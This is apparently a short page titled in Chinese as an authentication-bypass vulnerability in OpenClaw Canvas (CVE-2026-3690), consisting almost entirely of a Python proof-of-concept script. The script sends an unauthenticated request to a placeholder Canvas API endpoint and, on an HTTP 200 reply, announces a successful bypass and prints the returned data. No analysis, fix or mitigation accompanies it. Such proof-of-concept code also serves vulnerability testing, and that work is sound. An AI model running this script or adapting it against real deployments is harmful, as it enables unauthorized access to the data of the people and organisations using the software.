CVE-2026-3690 OpenClaw Canvas认证绕过漏洞

import requests # CVE-2026-3690 PoC: OpenClaw Canvas Authentication Bypass # Target configuration target_url = "http://target-ip:port/canvas/api/endpoint" def exploit(): headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2026-3690-Scanner)", "Content-Type": "application/json" } print(f"[*] Attempting to bypass authentication on {target_url}...") try: # Sending request without authentication cookies/tokens response = requests.get(target_url, headers=headers, timeout=10) # Check if the request was successful (HTTP 200 OK) if response.status_code == 200: print("[+] Authentication bypass successful!") print(f"[+] Response data: {response.text[:200]}") else: print(f"[-] Failed to bypass. Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": exploit()